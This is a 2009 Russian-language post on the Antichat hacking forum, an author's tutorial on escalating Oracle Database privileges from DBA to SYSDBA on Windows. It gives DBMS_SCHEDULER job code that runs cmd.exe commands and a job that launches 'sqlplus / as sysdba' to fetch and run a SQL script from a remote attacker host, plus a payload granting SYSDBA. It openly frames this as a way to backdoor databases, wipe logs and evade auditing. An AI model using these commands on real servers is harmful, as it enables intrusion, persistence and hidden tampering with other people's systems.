ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Oracle Hack Часть вторая: Oracle Database, get me sysdba
  #1  
Старый 07.12.2009, 01:24
[ DSU ]
Участник форума
Регистрация: 22.10.2007
Сообщений: 159
Провел на форуме:
721727

Репутация: 397
Отправить сообщение для [ DSU ] с помощью ICQ
По умолчанию Oracle Hack Часть вторая: Oracle Database, get me sysdba

Думал сделать сию тему частью общей статьи по oracle databse hack но пока нет времени закончить большую статьи по этому буду писать статьи небольшие и позже объединю в общий man Oracle DB hack на русском.
Дошли таки руки, начнем.
Мы имеем:
1. DBA (можно и более мелкие главное чтоб был доступ к java или DBMS_SCHEDULER или ALTER SYSTEM)
2. Всё написанное тестировалось на Win32 XP SP3 и Oracle XE (у меня нет лицензии на платный Oracle ак тестировать данные скрипты на рабочем сервере я не стал Тут мы будем рассматривать пример только с DBMS_SCHEDULER служба OracleJobScheduler%ORACLE_SID% должна быть запущена иначе нечего не выйдет )


Итак допустим начали мы с иньекции получили dba имеем коннект к listener (это не обязательно если кого интересует как проделать сие не имея доступа к листенеру а просто из скажем union select я объясню отдельно

Имея dba права мы вполне можем исполнять команды в системе используя DBMS_SCHEDULER это просто

Код:
begin
  dbms_scheduler.create_job (
    job_name     =>'tstcmd',
    job_type     =>'executable',
    job_action   =>'c:\windows\system32\cmd.exe /c echo 123 > c:\123.txt',
    enabled      => false,
    auto_drop    => true
);
commit;
end;
/
exec dbms_scheduler.enable('tstcmd')

Думаю данный скрипт не стоит расписывать всё просто просто кратко приведу

job_name =>'tstcmd', --Имя задачи
job_type =>'executable', --тип задачи
job_action =>'c:\windows\system32\cmd.exe /c echo 123 > c:\123.txt', --Сама задача
enabled => false, --Активна или нет
auto_drop => true --стереть ли иё после выполнения (
Нам надо бы убрать хотя при желании можно задать интервал иё выполнения используя repeat_interval=> 'FREQ=SECONDLY;INTERVAL=время в секундах'

То есть это так сказать Oracle Cron

Ну вот а теперь представим ситуацию есть у нас dba есть возможность запускать системные команды,
по дефолту команды в win32 запускаются от local_system а в *nix от пользователя oracle но по опыту скажу что даже в win32 принято после установки сразу же редактить конфиги и запускать тоже от Oracle пользователя,
но нам скажем надо данную БД протроянить скажем просто надо бы удержать там права как можно дольше, имея dba это можно проделать но не столь эффективно как при sysdba
если ведется аудит то проникнувший персона весьма быстро будет обнаружена вместе со своим трояном, бэкдуром называется как хотите.

ну так вот для того чтоб нам очистить таблицы с логами повесить пару триггеров, процедур или скажем добавить в стандартный пакет какую нить весьма нужную функцию/процедуру
которая будет выполнятся от sys нам нужны sysdba права.
Меньше слов больше кода.

Код:
begin
  dbms_scheduler.create_job (
  1.  job_name     =>'assysdba',
  2.  job_type     =>'executable',
  3.  job_action   =>'c:\windows\system32\cmd.exe /c sqlplus / as sysdba @http://evilhost.org/getsysdba.sql',
  4.  enabled      => false,
  5.  auto_drop    => true
);
commit;
end;
/
exec dbms_scheduler.enable('assysdba')


А теперь разберем код
1. создаем задачу с именем (может быть любым)
2. объявляем тип задачи в нашем случае executable (вариации имеются но нам они пока не нужны...)
3. Вот тут самое интересное, sqlplus по умолчанию позволяет подключатся как sysdba без логина/пароля если это происходит с локальной системы!
sqlplus / as sysdba @http://evilhost.org/getsysdba.sql -- подключились к бд как sysdba дали файл на исполнение ! знак @ позволяет сразу объявлять какой sql скрипт выполнить
Если указать просто @filename.sql то sqlplus будет в oracle_home и в своей bin папке искать скрипт но sqlplus умеет загружать файлы с сети...
Если Бд находится на машине на которой нет доступа в нэт то можно либо на сетевую залить либо записать на диск опять же использую DBMS_SCHEDULER или java это просто думаю нет смысла разжевывать.
4. активна/неактивна
5. выполнить один раз и стереть задачу.

Файл sql может быть любым но желательно включить в конец файла exit; чтоб после его выполнения sqlplus закрыл сессию.

Пример :

Код:
grant sysdba to tsst;
exit;

Заключение:
Имея dba можно получить sysdba это конечно связано с некоторыми "если" но как показывает практика в большинстве случаев эти "если" имеют место быть.
Данной статьей я хотел показать что Oracle можно не только взломать но и гораздо больше получив sysdba устранить логирование и обойти некоторые системы аудита.
Логвайпер и сам бэкдур я выкладывать не стал так как писать такое не сложно нужно просто знать, где что у oracle находится
Плюс на ачате не очень популярна эта бд а кидать попросту в некуда нет смысла кому надо разберется а кто не сможет спросит

P.S сорри за мой русский, язык не родной.

(с) 2009 by dsu from Ukrainian Security Community

Последний раз редактировалось [ DSU ]; 08.12.2009 в 23:00..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Oracle Hack часть первая: Oracle Application Server [ DSU ] Авторские статьи 15 21.05.2009 20:32
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ